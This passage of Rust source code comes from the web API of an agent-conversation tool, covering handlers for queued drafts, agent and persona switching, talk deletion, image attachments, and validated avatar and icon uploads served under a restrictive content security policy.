9965        if !talk::clear_pending_if_matches(
9966            &mut talk,
9967            &ui.talks,
9968            &body.expected_text,
9969            &body.expected_attachments,
9970        )? {
9971            return Err(ApiError::conflict(
9972                "queued message changed; reload it before clearing",
9973            ));
9974        }
9975        let thinking = ui.is_thinking(&talk.id);
9976        Ok(Json(TalkView::new(talk, thinking, &ui)))
9977    })
9978    .await
9979}
9980
9981/// Atomically edit a queued draft's text while preserving its attachments.
9982/// The snapshot fields make a concurrent queue or drain a conflict rather
9983/// than silently discarding either message.
9984async fn talk_pending_edit(
9985    State(ui): State<Arc<Ui>>,
9986    Path(id): Path<String>,
9987    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9988) -> ApiResult<Json<TalkView>> {
9989    let admission = ui.begin_admission()?;
9990    admitted(admission, async move {
9991        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9992        let id = {
9993            let ui = Arc::clone(&ui);
9994            blocking(move || resolve_talk(&ui.talks, &id)).await?
9995        };
9996        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9997            .await
9998            .map_err(ApiError::from)?;
9999        let (view, reclaimed) = blocking({
10000            let ui = Arc::clone(&ui);
10001            move || {
10002                let mut talk = ui.talks.get(&id)?;
10003                if !talk.status.open() {
10004                    return Err(ApiError::conflict(format!(
10005                        "talk {} is {} and takes no more turns",
10006                        talk.short(),
10007                        talk.status.as_str()
10008                    )));
10009                }
10010                if !talk::edit_pending_message(
10011                    &mut talk,
10012                    &ui.talks,
10013                    &body.text,
10014                    &body.expected_text,
10015                    &body.expected_attachments,
10016                    body.message,
10017                )? {
10018                    return Err(ApiError::conflict(
10019                        "queued message changed; reload it before editing",
10020                    ));
10021                }
10022                let claim = match ui.begin_queued_talk_turn(&id)? {
10023                    Some(turn_guard) => {
10024                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10025                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10026                    }
10027                    None => None,
10028                };
10029                let thinking = ui.is_thinking(&id);
10030                Ok((TalkView::new(talk, thinking, &ui), claim))
10031            }
10032        })
10033        .await?;
10034        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10035            let talks = ui.talks.clone();
10036            #[cfg(not(test))]
10037            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10038            #[cfg(test)]
10039            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10040        }
10041        Ok(Json(view))
10042    })
10043    .await
10044}
10045
10046/// The 409 for a talk that takes no more turns.
10047fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10048    if talk.status.open() {
10049        return Ok(());
10050    }
10051    Err(ApiError::conflict(format!(
10052        "talk {} is {} and takes no more turns",
10053        talk.short(),
10054        talk.status.as_str()
10055    )))
10056}
10057
10058/// The body of `POST /api/talks/{id}/agent`.
10059#[derive(Debug, Deserialize)]
10060struct TalkAgent {
10061    agent: String,
10062}
10063
10064/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10065/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10066/// start a turn on the old session between the check and the write; one that
10067/// arrives in that window finds the talk busy and becomes a draft.
10068async fn talk_agent(
10069    State(ui): State<Arc<Ui>>,
10070    Path(id): Path<String>,
10071    Json(body): Json<TalkAgent>,
10072) -> ApiResult<Json<TalkView>> {
10073    let admission = ui.begin_admission()?;
10074    admitted(admission, async move {
10075        let id = {
10076            let ui = Arc::clone(&ui);
10077            blocking(move || resolve_talk(&ui.talks, &id)).await?
10078        };
10079        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10080            .await
10081            .map_err(ApiError::from)?;
10082        let repo = {
10083            let ui = Arc::clone(&ui);
10084            let id = id.clone();
10085            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10086        };
10087        let cfg = config_for(&repo).await?;
10088        // Refuse before taking the claim; see `talk_implementers`.
10089        {
10090            let ui = Arc::clone(&ui);
10091            let id = id.clone();
10092            let cfg = cfg.clone();
10093            let wanted = body.agent.clone();
10094            blocking(move || {
10095                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10096                    .map_err(ApiError::bad_request_from)?;
10097                refuse_if_closed(&ui.talks.get(&id)?)
10098            })
10099            .await?;
10100        }
10101        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10102            return Err(ApiError::conflict(
10103                "a talk turn is running; change the agent once it has answered",
10104            ));
10105        };
10106        let switched = {
10107            let ui = Arc::clone(&ui);
10108            let id = id.clone();
10109            let cfg = cfg.clone();
10110            blocking(move || {
10111                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10112                    .map_err(ApiError::bad_request_from)?;
10113                let mut talk = ui.talks.get(&id)?;
10114                if !talk.status.open() {
10115                    return Err(ApiError::conflict(format!(
10116                        "talk {} is {} and takes no more turns",
10117                        talk.short(),
10118                        talk.status.as_str()
10119                    )));
10120                }
10121                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10122                Ok(talk)
10123            })
10124            .await
10125        };
10126        // A `/say` that landed while this held the claim saw the talk busy and
10127        // left a durable draft, trusting the claim's owner to drain it. So the
10128        // claim is settled whatever the outcome. Release an empty draft's claim
10129        // before replying; queued drafts continue independently of the handler.
10130        let observed = ui.queued_generation(&id);
10131        let fresh = {
10132            let ui = Arc::clone(&ui);
10133            let id = id.clone();
10134            blocking(move || Ok(ui.talks.get(&id)?)).await
10135        };
10136        let draining = match fresh {
10137            Ok(talk) => {
10138                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10139            }
10140            Err(_) => false,
10141        };
10142        let talk = switched?;
10143        Ok(Json(TalkView::new(talk, draining, &ui)))
10144    })
10145    .await
10146}
10147
10148/// The body of `POST /api/talks/{id}/persona`.
10149#[derive(Debug, Deserialize)]
10150struct TalkPersona {
10151    persona: String,
10152}
10153
10154/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10155/// like [`talk_agent`]: the turn guard is held for the change and always handed
10156/// to `drain_loop`, so a draft left meanwhile is not stranded.
10157async fn talk_persona(
10158    State(ui): State<Arc<Ui>>,
10159    Path(id): Path<String>,
10160    Json(body): Json<TalkPersona>,
10161) -> ApiResult<Json<TalkView>> {
10162    let admission = ui.begin_admission()?;
10163    admitted(admission, async move {
10164        let id = {
10165            let ui = Arc::clone(&ui);
10166            blocking(move || resolve_talk(&ui.talks, &id)).await?
10167        };
10168        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10169            .await
10170            .map_err(ApiError::from)?;
10171        let repo = {
10172            let ui = Arc::clone(&ui);
10173            let id = id.clone();
10174            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10175        };
10176        let cfg = config_for(&repo).await?;
10177        // Refuse before taking the claim; see `talk_implementers`.
10178        {
10179            let ui = Arc::clone(&ui);
10180            let id = id.clone();
10181            let cfg = cfg.clone();
10182            let wanted = body.persona.clone();
10183            blocking(move || {
10184                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10185                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10186                }
10187                refuse_if_closed(&ui.talks.get(&id)?)
10188            })
10189            .await?;
10190        }
10191        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10192            return Err(ApiError::conflict(
10193                "a talk turn is running; change the persona once it has answered",
10194            ));
10195        };
10196        let switched = {
10197            let ui = Arc::clone(&ui);
10198            let id = id.clone();
10199            let cfg = cfg.clone();
10200            blocking(move || {
10201                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10202                    return Err(ApiError::bad_request(format!(
10203                        "unknown persona `{}`",
10204                        body.persona
10205                    )));
10206                };
10207                let mut talk = ui.talks.get(&id)?;
10208                if !talk.status.open() {
10209                    return Err(ApiError::conflict(format!(
10210                        "talk {} is {} and takes no more turns",
10211                        talk.short(),
10212                        talk.status.as_str()
10213                    )));
10214                }
10215                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10216                Ok(talk)
10217            })
10218            .await
10219        };
10220        // As in `talk_agent`: settle the claim before replying, even on refusal.
10221        let observed = ui.queued_generation(&id);
10222        let fresh = {
10223            let ui = Arc::clone(&ui);
10224            let id = id.clone();
10225            blocking(move || Ok(ui.talks.get(&id)?)).await
10226        };
10227        let draining = match fresh {
10228            Ok(talk) => {
10229                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10230            }
10231            Err(_) => false,
10232        };
10233        let talk = switched?;
10234        Ok(Json(TalkView::new(talk, draining, &ui)))
10235    })
10236    .await
10237}
10238
10239/// The body of `POST /api/talks/{id}/implementers`.
10240#[derive(Debug, Deserialize)]
10241struct TalkImplementers {
10242    implementers: u8,
10243}
10244
10245/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10246/// like [`talk_agent`]: the turn guard is held for the change and always handed
10247/// to `drain_loop`, so a draft left meanwhile is not stranded.
10248async fn talk_implementers(
10249    State(ui): State<Arc<Ui>>,
10250    Path(id): Path<String>,
10251    Json(body): Json<TalkImplementers>,
10252) -> ApiResult<Json<TalkView>> {
10253    let admission = ui.begin_admission()?;
10254    admitted(admission, async move {
10255        let id = {
10256            let ui = Arc::clone(&ui);
10257            blocking(move || resolve_talk(&ui.talks, &id)).await?
10258        };
10259        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10260            .await
10261            .map_err(ApiError::from)?;
10262        let repo = {
10263            let ui = Arc::clone(&ui);
10264            let id = id.clone();
10265            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10266        };
10267        let cfg = config_for(&repo).await?;
10268        // Refuse a request that cannot succeed before taking the claim: a claim
10269        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10270        // moment, so a refusal would make the next request see "busy" instead of
10271        // its own answer. The checks after the claim stay the ones that decide.
10272        {
10273            let ui = Arc::clone(&ui);
10274            let id = id.clone();
10275            let cfg = cfg.clone();
10276            let wanted = body.implementers;
10277            blocking(move || {
10278                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10279                refuse_if_closed(&ui.talks.get(&id)?)
10280            })
10281            .await?;
10282        }
10283        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10284            return Err(ApiError::conflict(
10285                "a talk turn is running; change the implementers once it has answered",
10286            ));
10287        };
10288        let switched = {
10289            let ui = Arc::clone(&ui);
10290            let id = id.clone();
10291            let cfg = cfg.clone();
10292            blocking(move || {
10293                let chosen = talk::check_implementers(body.implementers, &cfg)
10294                    .map_err(ApiError::bad_request)?;
10295                let mut talk = ui.talks.get(&id)?;
10296                if !talk.status.open() {
10297                    return Err(ApiError::conflict(format!(
10298                        "talk {} is {} and takes no more turns",
10299                        talk.short(),
10300                        talk.status.as_str()
10301                    )));
10302                }
10303                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10304                Ok(talk)
10305            })
10306            .await
10307        };
10308        // As in `talk_agent`: settle the claim before replying, even on refusal.
10309        let observed = ui.queued_generation(&id);
10310        let fresh = {
10311            let ui = Arc::clone(&ui);
10312            let id = id.clone();
10313            blocking(move || Ok(ui.talks.get(&id)?)).await
10314        };
10315        let draining = match fresh {
10316            Ok(talk) => {
10317                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10318            }
10319            Err(_) => false,
10320        };
10321        let talk = switched?;
10322        Ok(Json(TalkView::new(talk, draining, &ui)))
10323    })
10324    .await
10325}
10326
10327/// `POST /api/talks/{id}/close`.
10328async fn talk_close(
10329    State(ui): State<Arc<Ui>>,
10330    Path(id): Path<String>,
10331) -> ApiResult<Json<TalkView>> {
10332    blocking(move || {
10333        let id = resolve_talk(&ui.talks, &id)?;
10334        let mut talk = ui.talks.get(&id)?;
10335        talk::close(&mut talk, &ui.talks)?;
10336        let thinking = ui.is_thinking(&talk.id);
10337        Ok(Json(TalkView::new(talk, thinking, &ui)))
10338    })
10339    .await
10340}
10341
10342/// `POST /api/talks/{id}/reopen`.
10343async fn talk_reopen(
10344    State(ui): State<Arc<Ui>>,
10345    Path(id): Path<String>,
10346) -> ApiResult<Json<TalkView>> {
10347    blocking(move || {
10348        let id = resolve_talk(&ui.talks, &id)?;
10349        let mut talk = ui.talks.get(&id)?;
10350        talk::reopen(&mut talk, &ui.talks)?;
10351        let thinking = ui.is_thinking(&talk.id);
10352        Ok(Json(TalkView::new(talk, thinking, &ui)))
10353    })
10354    .await
10355}
10356
10357/// `DELETE /api/talks/{id}`.
10358///
10359/// Removes the conversation's record and artifacts outright, unlike
10360/// [`talk_close`] which keeps the record as history. A turn already in
10361/// flight is not refused here the way [`run_delete`] refuses a live run:
10362/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10363/// under [`Talks::guard`], that the record they are about to write back is
10364/// still there, so a delete racing a turn is safe without this route having
10365/// to know a turn is running at all.
10366async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10367    blocking(move || {
10368        let id = resolve_talk(&ui.talks, &id)?;
10369        ui.talks.remove(&id)?;
10370        Ok(StatusCode::NO_CONTENT)
10371    })
10372    .await
10373}
10374
10375fn talk_ids(root: &FsPath) -> Vec<String> {
10376    std::fs::read_dir(root)
10377        .into_iter()
10378        .flatten()
10379        .flatten()
10380        .filter_map(|e| {
10381            let path = e.path();
10382            if path.extension().is_some_and(|ext| ext == "json") {
10383                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10384            } else {
10385                None
10386            }
10387        })
10388        .collect()
10389}
10390
10391/// Expand an id or short id to exactly one talk id.
10392fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10393    if plain_record_id(id) && store.path_of(id).is_file() {
10394        return Ok(id.to_owned());
10395    }
10396    pick(talk_ids(store.root()), id, "talk")
10397}
10398
10399/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10400/// future `talk-say`.
10401async fn talk_attachment_post(
10402    State(ui): State<Arc<Ui>>,
10403    Path(id): Path<String>,
10404    headers: HeaderMap,
10405    body: Bytes,
10406) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10407    let mime = validate_attachment(&headers, &body)?;
10408    let name = filename_header(&headers);
10409    let data = body.to_vec();
10410    blocking(move || {
10411        let id = resolve_talk(&ui.talks, &id)?;
10412        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10413        Ok((StatusCode::CREATED, Json(att)))
10414    })
10415    .await
10416}
10417
10418/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10419/// `<img>` tag in the transcript.
10420async fn talk_attachment_get(
10421    State(ui): State<Arc<Ui>>,
10422    Path((id, att)): Path<(String, String)>,
10423) -> ApiResult<Response> {
10424    blocking(move || {
10425        let id = resolve_talk(&ui.talks, &id)?;
10426        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10427            return Err(ApiError::not_found(format!(
10428                "talk {id} has no attachment `{att}`"
10429            )));
10430        };
10431        Ok(attachment_response(&meta.mime, data))
10432    })
10433    .await
10434}
10435
10436/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10437/// the icon setting, so changing it changes the URL.
10438fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10439    let id = avatar_encode(&p.id);
10440    format!(
10441        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10442        persona_icon::fingerprint(
10443            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10444        )
10445    )
10446}
10447
10448#[derive(Debug, Default, Deserialize)]
10449struct AvatarQuery {
10450    persona: Option<String>,
10451    /// Set by the page after the first load failed: skip the `icon`.
10452    builtin: Option<String>,
10453}
10454
10455/// Served with every built-in avatar: it is an image, so nothing else may run.
10456const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10457
10458fn builtin_avatar(id: &str) -> Response {
10459    svg_avatar(persona_icon::builtin_svg(id))
10460}
10461
10462async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10463    raster_or_builtin(
10464        read_icon_file(&avatar_setting_path(&ui.home, None))
10465            .filter(|_| q.builtin.is_none())
10466            .as_deref(),
10467        persona_icon::operator_svg(),
10468    )
10469}
10470
10471fn svg_avatar(svg: &'static str) -> Response {
10472    (
10473        [
10474            (header::CONTENT_TYPE, "image/svg+xml"),
10475            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10476            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10477            (header::CACHE_CONTROL, "no-cache"),
10478        ],
10479        svg,
10480    )
10481        .into_response()
10482}
10483
10484fn avatar_encode(value: &str) -> String {
10485    value
10486        .bytes()
10487        .map(|b| {
10488            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10489                char::from(b).to_string()
10490            } else {
10491                format!("%{b:02X}")
10492            }
10493        })
10494        .collect()
10495}
10496
10497// Display-only overrides live outside configuration and conversation records.
10498fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10499    let Some(id) = persona else {
10500        return home.join("avatars/operator.data");
10501    };
10502    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10503    let mut path = home.join("avatars/personas");
10504    for chunk in encoded.as_bytes().chunks(100) {
10505        path.push(std::str::from_utf8(chunk).expect("hex"));
10506    }
10507    path.join("icon.data")
10508}
10509
10510fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10511    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10512        Some(value) if value == "builtin" => Some(String::new()),
10513        Some(value) => Some(value),
10514        None => configured.map(str::to_owned),
10515    }
10516}
10517
10518fn operator_icon_url(home: &FsPath) -> String {
10519    format!(
10520        "/avatars/operator.svg?v={}",
10521        persona_icon::fingerprint(
10522            read_icon_file(&avatar_setting_path(home, None))
10523                .as_deref()
10524                .or(Some(persona_icon::operator_svg()))
10525        )
10526    )
10527}
10528
10529fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10530    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10531        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10532            attachment_response(mime, bytes)
10533        }
10534        _ => svg_avatar(builtin),
10535    };
10536    response
10537        .headers_mut()
10538        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10539    response
10540}
10541
10542#[derive(Default, Deserialize)]
10543struct AvatarSettingsQuery {
10544    repo: Option<PathBuf>,
10545    persona: Option<String>,
10546    builtin: Option<String>,
10547    inherit: Option<String>,
10548}
10549
10550fn avatar_settings_specs(
10551    ui: &Ui,
10552    repo: Option<PathBuf>,
10553) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10554    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10555    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10556        .map(|cfg| cfg.talk.personas)
10557        .unwrap_or_default();
10558    Ok((repo, specs))
10559}
10560
10561fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10562    let Ok(entries) = std::fs::read_dir(path) else {
10563        return;
10564    };
10565    for entry in entries.flatten() {
10566        let name = entry.file_name().to_string_lossy().into_owned();
10567        if name == "icon.data" {
10568            let bytes: Option<Vec<u8>> = prefix
10569                .as_bytes()
10570                .chunks(2)
10571                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10572                .collect();
10573            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10574                out.push(id);
10575            }
10576        } else if name.len() <= 100
10577            && !name.is_empty()
10578            && name.bytes().all(|b| b.is_ascii_hexdigit())
10579            && entry.file_type().is_ok_and(|t| t.is_dir())
10580        {
10581            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10582        }
10583    }
10584}
10585
10586async fn avatar_settings_get(
10587    State(ui): State<Arc<Ui>>,
10588    Query(q): Query<AvatarSettingsQuery>,
10589) -> ApiResult<Json<serde_json::Value>> {
10590    blocking(move || {
10591        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10592        let mut catalog = persona::catalog(&specs);
10593        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10594        let mut saved = Vec::new();
10595        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10596        for id in saved {
10597            if !catalog.iter().any(|p| p.id == id) {
10598                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10599            }
10600        }
10601        let personas: Vec<_> = catalog.iter().map(|p| {
10602            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10603            let override_state = match saved.as_deref() {
10604                Some("builtin") => "builtin",
10605                Some(_) => "custom",
10606                None => "inherit",
10607            };
10608            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10609            serde_json::json!({"id":p.id,"name":p.name,
10610                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10611                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10612                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10613        }).collect();
10614        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10615    }).await
10616}
10617
10618async fn settings_persona_avatar(
10619    State(ui): State<Arc<Ui>>,
10620    Query(q): Query<AvatarSettingsQuery>,
10621) -> ApiResult<Response> {
10622    blocking(move || {
10623        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10624        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10625        let found = persona::find(&specs, id);
10626        let icon =
10627            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10628        Ok(raster_or_builtin(
10629            icon.as_deref().filter(|_| q.builtin.is_none()),
10630            persona_icon::builtin_svg(id),
10631        ))
10632    })
10633    .await
10634}
10635
10636fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10637    if q.persona
10638        .as_ref()
10639        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10640    {
10641        return Err(ApiError::bad_request("invalid persona id"));
10642    }
10643    Ok(())
10644}
10645
10646async fn avatar_settings_put(
10647    State(ui): State<Arc<Ui>>,
10648    Query(q): Query<AvatarSettingsQuery>,
10649    Json(upload): Json<MagiIconUpload>,
10650) -> ApiResult<Json<serde_json::Value>> {
10651    blocking(move || {
10652        validate_avatar_target(&q)?;
10653        save_icon_file(
10654            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10655            &upload.icon,
10656        )
10657        .map_err(ApiError::bad_request_from)?;
10658        Ok(Json(serde_json::json!({"saved":true})))
10659    })
10660    .await
10661}
10662
10663async fn avatar_settings_delete(
10664    State(ui): State<Arc<Ui>>,
10665    Query(q): Query<AvatarSettingsQuery>,
10666) -> ApiResult<Json<serde_json::Value>> {
10667    blocking(move || {
10668        validate_avatar_target(&q)?;
10669        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10670        if q.persona.is_some() && q.inherit.is_none() {
10671            atomic_icon_write(&path, "builtin")?;
10672        } else {
10673            match std::fs::remove_file(path) {
10674                Ok(()) => (),
10675                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10676                Err(e) => return Err(anyhow::Error::from(e).into()),
10677            }
10678        }
10679        Ok(Json(serde_json::json!({"saved":true})))
10680    })
10681    .await
10682}
10683
10684// The global MAGI icon is deliberately independent of repository configuration.
10685fn magi_icon_path(home: &FsPath) -> PathBuf {
10686    home.join("magi-icon.data")
10687}
10688
10689fn read_magi_icon(home: &FsPath) -> Option<String> {
10690    read_icon_file(&magi_icon_path(home))
10691}
10692
10693fn read_icon_file(path: &FsPath) -> Option<String> {
10694    let metadata = std::fs::metadata(path).ok()?;
10695    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10696        return None;
10697    }
10698    let file = std::fs::File::open(path).ok()?;
10699    use std::io::Read;
10700    let mut text = String::new();
10701    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10702        .read_to_string(&mut text)
10703        .ok()?;
10704    if text.len() > persona_icon::ICON_MAX_BYTES {
10705        return None;
10706    }
10707    if text == "builtin" {
10708        return Some(text);
10709    }
10710    validate_uploaded_icon(&text).ok()?;
10711    Some(text)
10712}
10713
10714fn magi_icon_url(home: &FsPath) -> String {
10715    format!(
10716        "/avatars/magi?v={}",
10717        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10718    )
10719}
10720
10721async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10722    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10723}
10724
10725#[derive(Deserialize)]
10726struct MagiIconUpload {
10727    icon: String,
10728}
10729
10730fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10731    save_icon_file(&magi_icon_path(home), icon)
10732}
10733
10734fn validate_uploaded_icon(icon: &str) -> Result<()> {
10735    if !icon.starts_with("data:") {
10736        anyhow::bail!("upload a raster image");
10737    }
10738    let (mime, bytes) = persona_icon::load(icon)?;
10739    if sniffed_mime(&bytes) != Some(mime) {
10740        anyhow::bail!("image content does not match its type");
10741    }
10742    Ok(())
10743}
10744
10745fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10746    validate_uploaded_icon(icon)?;
10747    atomic_icon_write(path, icon)
10748}
10749
10750fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10751    let home = path.parent().expect("icon parent");
10752    std::fs::create_dir_all(home)?;
10753    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10754    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10755    let result = (|| -> Result<()> {
10756        use std::io::Write;
10757        let mut file = std::fs::OpenOptions::new()
10758            .write(true)
10759            .create_new(true)
10760            .open(&temp)?;
10761        file.write_all(icon.as_bytes())?;
10762        file.sync_all()?;
10763        std::fs::rename(&temp, path)?;
10764        Ok(())
10765    })();
10766    let _ = std::fs::remove_file(temp);
10767    result?;
10768    Ok(())
10769}
10770
10771async fn magi_icon_put(
10772    State(ui): State<Arc<Ui>>,
10773    Json(upload): Json<MagiIconUpload>,
10774) -> ApiResult<Json<serde_json::Value>> {
10775    blocking(move || {
10776        if !upload.icon.starts_with("data:") {
10777            return Err(ApiError::bad_request("upload a raster image"));
10778        }
10779        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10780        if sniffed_mime(&bytes) != Some(mime) {
10781            return Err(ApiError::bad_request(
10782                "image content does not match its type",
10783            ));
10784        }
10785        save_magi_icon(&ui.home, &upload.icon)?;
10786        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10787    })
10788    .await
10789}
10790
10791async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10792    blocking(move || {
10793        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10794            Ok(()) => (),
10795            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10796            Err(e) => return Err(anyhow::Error::from(e).into()),
10797        }
10798        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10799    })
10800    .await
10801}
10802
10803async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10804    let icon = (q.builtin.is_none())
10805        .then(|| read_magi_icon(&ui.home))
10806        .flatten();
10807    let mut response = match icon
10808        .as_deref()
10809        .and_then(|icon| persona_icon::load(icon).ok())
10810    {
10811        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10812            attachment_response(mime, bytes)
10813        }
10814        _ => svg_avatar(persona_icon::magi_svg()),
10815    };
10816    response
10817        .headers_mut()
10818        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10819    response
10820}
10821
10822/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10823/// operator's raster `icon` when it resolves and its bytes agree with its
10824/// type, the built-in SVG otherwise. Display only; every failure is a warning
10825/// and the built-in avatar, never an error response.
10826async fn talk_avatar(
10827    State(ui): State<Arc<Ui>>,
10828    Path(id): Path<String>,
10829    Query(q): Query<AvatarQuery>,
10830) -> ApiResult<Response> {
10831    blocking(move || {
10832        let id = resolve_talk(&ui.talks, &id)?;
10833        let talk = ui.talks.get(&id)?;
10834        let wanted = q
10835            .persona
10836            .as_deref()
10837            .map(str::trim)
10838            .filter(|p| !p.is_empty())
10839            .unwrap_or(&talk.persona)
10840            .to_owned();
10841        let specs = match Config::discover(&talk.repo, None) {
10842            Ok((cfg, _)) => cfg.talk.personas,
10843            Err(e) => {
10844                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10845                Vec::new()
10846            }
10847        };
10848        let found = persona::find(&specs, &wanted);
10849        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10850        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10851        let icon = effective_persona_icon(
10852            &ui.home,
10853            &wanted,
10854            found.as_ref().and_then(|p| p.icon.as_deref()),
10855        );
10856        if found.is_none() && icon.is_none() {
10857            return Ok(builtin_avatar(persona::DEFAULT_ID));
10858        }
10859        let Some(icon) = icon
10860            .as_deref()
10861            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10862        else {
10863            return Ok(builtin_avatar(&wanted));
10864        };
10865        let Some(found) = found else {
10866            return Ok(raster_or_builtin(
10867                Some(icon),
10868                persona_icon::builtin_svg(&wanted),
10869            ));
10870        };
10871        match persona_icon::load(icon) {
10872            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10873                let mut res = attachment_response(mime, bytes);
10874                res.headers_mut().insert(
10875                    header::CACHE_CONTROL,
